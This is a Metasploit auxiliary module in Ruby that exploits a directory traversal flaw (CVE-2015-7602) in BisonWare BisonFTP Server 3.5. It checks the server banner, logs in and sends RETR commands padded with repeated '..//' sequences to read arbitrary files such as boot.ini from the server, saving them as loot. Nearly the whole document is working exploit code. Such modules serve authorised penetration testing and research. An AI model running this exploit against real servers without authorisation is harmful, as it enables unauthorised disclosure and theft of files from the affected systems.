BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::Ftp  
include Msf::Auxiliary::Report  
include Msf::Auxiliary::Scanner  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'BisonWare BisonFTP Server 3.5 Directory Traversal Information Disclosure',  
'Description' => %q{  
This module exploits a directory traversal vulnerability found in BisonWare BisonFTP server  
version 3.5. This vulnerability allows an attacker to download arbitrary files from the server  
by crafting a RETR command including file system traversal strings such as '..//.'  
},  
'Platform' => 'win',  
'Author' =>  
[  
'Jay Turla', # @shipcod3, msf and initial discovery  
'James Fitts',  
'Brad Wolfe <brad.wolfe[at]gmail.com>'  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'EDB', '38341'],  
[ 'CVE', '2015-7602']  
],  
'DisclosureDate' => '2015-09-28'  
))  
  
register_options(  
[  
OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 32 ]),  
OptString.new('PATH', [ true, "Path to the file to disclose, relative to the root dir.", 'boot.ini'])  
])  
  
end  
  
def check_host(ip)  
begin  
connect  
if /BisonWare BisonFTP server product V3\.5/i === banner  
return Exploit::CheckCode::Appears  
end  
ensure  
disconnect  
end  
  
Exploit::CheckCode::Safe  
end  
  
def run_host(target_host)  
begin  
connect_login  
sock = data_connect  
  
# additional check per https://github.com/bwatters-r7/metasploit-framework/blob/b44568dd85759a1aa2160a9d41397f2edc30d16f/modules/auxiliary/scanner/ftp/bison_ftp_traversal.rb  
# and #7582  
if sock.nil?  
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'  
print_status(error_msg)  
elog(error_msg)  
else  
file_path = datastore['PATH']  
file = ::File.basename(file_path)  
  
# make RETR request and store server response message...  
retr_cmd = ( "..//" * datastore['DEPTH'] ) + "#{file_path}"  
res = send_cmd( ["RETR", retr_cmd])  
  
# read the file data from the socket that we opened  
# dont assume theres still a sock to read from. Per #7582  
if sock.nil?  
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; possible invalid response'  
print_status(error_msg)  
elog(error_msg)  
return  
else  
# read the file data from the socket that we opened  
response_data = sock.read(1024)  
end  
  
unless response_data  
print_error("#{file} not found")  
return  
end  
  
if response_data.length == 0  
print_status("File (#{file_path})from #{peer} is empty...")  
return  
end  
  
# store file data to loot  
loot_file = store_loot("bisonware.ftp.data", "text", rhost, response_data, file, file_path)  
vprint_status("Data returned:\n")  
vprint_line(response_data)  
print_good("Stored #{file_path} to #{loot_file}")  
end  
  
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e  
vprint_error(e.message)  
elog(e)  
rescue ::Timeout::Error, ::Errno::EPIPE => e  
vprint_error(e.message)  
elog(e)  
ensure  
data_disconnect  
disconnect  
end  
end  
end  
`